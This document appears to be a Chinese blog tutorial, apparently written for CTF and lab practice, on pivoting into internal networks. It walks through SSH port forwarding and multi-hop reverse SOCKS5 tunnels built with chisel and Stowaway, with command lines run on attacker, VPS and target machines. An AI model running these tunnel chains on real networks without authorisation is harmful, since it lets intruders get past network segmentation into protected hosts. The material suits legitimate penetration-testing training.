利用ssh命令搭建ssh隧道
我的ctfshow wp里内网渗透那已经讲了,这里再讲一遍
单层ssh隧道搭建
适用情景:
这里我们的windows攻击机无法直接访问办公网的web服务,只能访问可控linux服务器,这里我们就可以通过可控linux服务器作为跳板,让windows攻击机就可以直接访问办公网内网区的web服务然后展开渗透
在我们的windows命令行上运行:
ssh -L 8085:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227
这里我们将可控linux服务器中172.2.136.5:80的流量转发到本地windows的8085端口上,然后就可以通过访问127.0.0.1:8085以访问172.2.136.5的web服务,流量转发过程为:
172.2.136.5:80->windows的80端口
多层ssh隧道搭建
适用情景:
这里用我的vps服务器当作表层内网服务器,不同内网之间没法直接相互通信,因此如果我们想用windows攻击机直接访问深层内网的web服务,需要先在表层内网服务器和深层内网服务器之间建立隧道,然后再在windows攻击机和表层内网服务器之间建立隧道,最后就可以用windows攻击机直接访问到深层内网的web服务。
在表层内网服务器上运行:
ssh -L 9383:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227
将深层内网中172.2.136.5:80的流量转发到表层内网服务器的9383端口上,然后在windows机器上运行:
ssh -L 8086:127.0.0.1:9383 root@vps_ip -p vps_port
将表层内网服务器中127.0.0.1:9383的流量转发到windows机器的8086端口上,流量转发的过程变为:
172.2.136.5:80->VPS:9383->windows的8086端口
然后我们就可以通过在本地访问8086直接访问深层内网中的172.2.136.5的web服务
利用chisel建立socks5代理
这个工具是当时去贵阳玩渗透yulate哥哥推荐给我的,地址:https://github.com/jpillora/chisel
上面的用ssh搭建代理有个很麻烦的地方,就是只能一个一个转发流量,用chisel就可以把所以流量全部转发了。
单层隧道搭建
适用场景其实和上面差不多,只不过我这里用了两个vps来模拟单层代理的情况,因为直接用本机当server我试了下不行,因为没公网ip,所以要把vps1当server,vps2当client,然后把vps2的流量先转发到vps1上,然后再挂vps1的socks5的代理。如果你打比赛或者你电脑有公网ip的话其实就可以省略掉在vps1上搭建的过程了,在自己电脑上搭建完然后连接127.0.0.1就行了
在vps1上运行
./chisel server -p 1234 --reverse
在vps2上运行
./chisel client vps1:1234 R:0.0.0.0:9383:socks
如果端口被占用了的话用netstat -nap | grep 1234命令查看进程,然后kill掉即可
解释一下命令的意思,vps1上命令的意思,就是把本机作为server,然后用1234端口开启监听进行反向代理;vps2上命令的意思,就是把本机作为client,然后连接vps1:1234,把所有流量通过vps1:1234进行转发,然后把vps1:9383作为socks5代理。
反正运行完后,你可以在本地电脑用socks5代理连接vps1:9383实现对vps2内网资源的访问(这个工具是FoxyProxy)
然后我们看看ip
已经成vps2的ip了
还可以通过profixier配置代理,这样配出来的就是全局的
多层隧道搭建
贵阳那个渗透大概就是这么个拓扑图,DMZ区,办公网,核心区,所以打办公网的话需要用DMZ区的流量转发到window上,想打核心区的话还得转发一次,把办公网里的流量转发到DMZ区,然后再把DMZ区的流量转发到windows攻击机上
因为服务器不够展示了,所以采用了用花生壳穿透本地内网,这样本地就直接有公网ip了,省了一台服务器,因为之前用vps中间代理是因为本地windows机器没有公网ip,所以用vps搭socks代理然后windows机连vps上的socks代理,现在windows本地就能连接,所以就可以直接在本地起chisel.exe server,连127.0.0.1上的socks代理了。
花生壳怎么用可以看无公网ip反弹shell
配置了之后连接8023826v9d.imdo.co:59775就相当于连接本地的127.0.0.1:1234
这里我在ctfshow上开了一个靶机,ip是124.223.158.81,然后用了自己的一台华为云vps
在vps上开启监听
./chisel server -p 10000 --reverse
然后在ctfshow的靶机上运行,这里相当于用ctfshow的靶机直接正向连接到了vps上
./chisel client VPS:10000 R:9100:socks
这两步弄完ctfshow靶机的流量已经转发到了vps的9100端口上,然后我们需要再把vps上9100端口的流量转发到windows机器上,window上开启监听:
chisel.exe server -p 1234 --reverse
再继续在vps运行命令
./chisel client 8023826v9d.imdo.co:59775 8100:127.0.0.1:9100 R:8100:socks
这句命令的意思是,首先client 8023826v9d.imdo.co:59775和R:8100:socks很好理解,就是连接8023826v9d.imdo.co:59775然后在windows机器的8100端口上建立socks隧道,中间那一句8100:127.0.0.1:9100的意思是把vps上9100端口的流量转发到windows机器的8100端口上,这样8100端口socks流量就是ctfshow靶机的流量了
然后本地配一下socks代理
最后获取的ip就是ctfshow靶机的ip(VPS是华为云的,这个腾讯服务器的ip是ctfshow靶机的)
当然蚁剑这里也看的出来
总结一下:
windows上运行:
chisel.exe server -p 1234 --reverse (command 1)
VPS上运行:
./chisel server -p 10000 --reverse (command 2)
./chisel client 8023826v9d.imdo.co:59775(即windows_ip:1234) 8100:127.0.0.1:9100 R:8100:socks (command 3)
ctfshow靶机上运行:
./chisel client VPS:10000 R:9100:socks (command 4)
补充一个小知识点,./chisel client VPS:10000 R:9100:socks和./chisel client VPS:10000 R:0.0.0.0:9100:socks其实是一样的,所以这里如果有核心区过了还有更深层的内网区,比如巅峰极客那样的拓扑图,用这几个命令是可以无限套娃,建立无限的代理层的。
回顾一下,这里我们用command 4+command2让ctfshow靶机的流量转发到了VPS,然后用command2+command1实现了把ctfshow的靶机转发到本地的流量又转发到了windows机器上,如果ctfshow靶机的流量过了之后还有流量应该怎么转发呢,其实也就是把VPS上运行的命令在ctfshow靶机上重复一遍,命令应该是:
windows上运行:
chisel.exe server -p 1234 --reverse
VPS上运行:
./chisel server -p 10000 --reverse
./chisel client 8023826v9d.imdo.co:59775(即windows_ip:1234) 8100:127.0.0.1:9100 R:8100:socks
ctfshow靶机上运行:
./chisel server -p 10000 --reverse
./chisel client VPS:10000 9100:127.0.0.1:9200 R:9100:socks
更深入的内网区服务器:
./chisel client ctfshow_ip:10000 R:9200:socks
同学们都学会了吗?
利用Stowaway搭建网络代理
yulate哥哥推荐了个操作更简单的代理软件Stowaway https://github.com/ph4ntonn/Stowaway
单层代理
服务器端运行:
./linux_x64_admin -l 1234 -s 123
监听1234端口并且连接key为123
客户端运行:
./linux_x64_agent -c Server_ip:1234 -s 123 --reconnect 8
意思是用key123连接服务端8000端口,并且掉线时8s重连
连接成功后在服务器端运行
use 0
socks 6666
即可在6666端口建立代理
多层代理
控制端运行:
./linux_x64_admin -l 1234 -s 123
VPS1运行:
./linux_x64_agent -c 控制端ip:1234 -s 123 --reconnect 8
建立连接后在控制端运行:
use 0
listen
1
1234
相当于在VPS1上建立了一个监听1234端口的连接
然后用VPS2连接VPS1的1234端口
./linux_x64_agent -c VPS1:1234 -s 123 --reconnect 8
过一会儿会在控制端看见新节点node 1加入,这个就是经过VPS1代理的VPS2,选择use 1,socks 6666即可在控制端6666端口建立socks5代理